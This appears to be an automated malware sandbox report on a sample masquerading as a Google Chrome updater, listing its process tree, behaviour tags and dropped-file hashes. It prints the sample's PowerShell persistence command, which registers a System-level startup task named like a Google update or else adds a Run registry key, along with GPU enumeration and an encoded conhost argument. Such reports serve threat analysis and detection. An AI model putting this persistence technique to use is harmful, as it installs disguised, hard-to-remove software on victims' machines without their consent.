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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1864
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:3608
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1728 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
PID:1768
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:3820
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:5112
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1336
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
672KB
MD5845b53ed2d9e098d860a468a51581181
SHA1ddeaac75d8e5deb39b75d915bb815d61ff2aaa3e
SHA25645dff8abf79f407f9ce89b246b68c3206db20a8ba148af09a4dd1fdaa575ffaa
SHA512c5572c5044685226ea91c9006e844ffe17947e59e8469e3fd1ea585605f9bf83f4da9398617c911327d6d7f75a2f2a2352bb4008af98813fe18bb6a40bcd1513
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Filesize
1.7MB
MD5868d1eab88229003bdcf93a1222a5cb9
SHA1d369516b843e45fceecfb3e452ed7792d2975067
SHA256e8cda55f0c69efbaf3ade26dbb8f2e8951fcd43890404a13cced687a218495bf
SHA5122f27d85611d6ecd82e43b3bcf9bdcf7b094dac590995d304b5cf854d4e481ccee1ad206a6f90b1dccc0e4c84add7a4dfa2f8ec5c2ae41824b7a59ee04a1dcc27
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD562623d22bd9e037191765d5083ce16a3
SHA14a07da6872672f715a4780513d95ed8ddeefd259
SHA25695d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
SHA5129a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992
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Filesize
1KB
MD5f1bfb879486777236f3b9114a14b932e
SHA1b8245a9244a3bfe234a76ae716dec5fe251f647e
SHA256770ceb114dd7bd473ae154f409d486091b3c2a8b8805808e5eb70eed71fc4cf3
SHA5121089fa28db115929321f72f7927550a062ed0b6a1162035696a364ed55692bd7cae6edf9af75de4fb00808c57ba93737d55903c6b104eefb22100f82259ccc2a
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5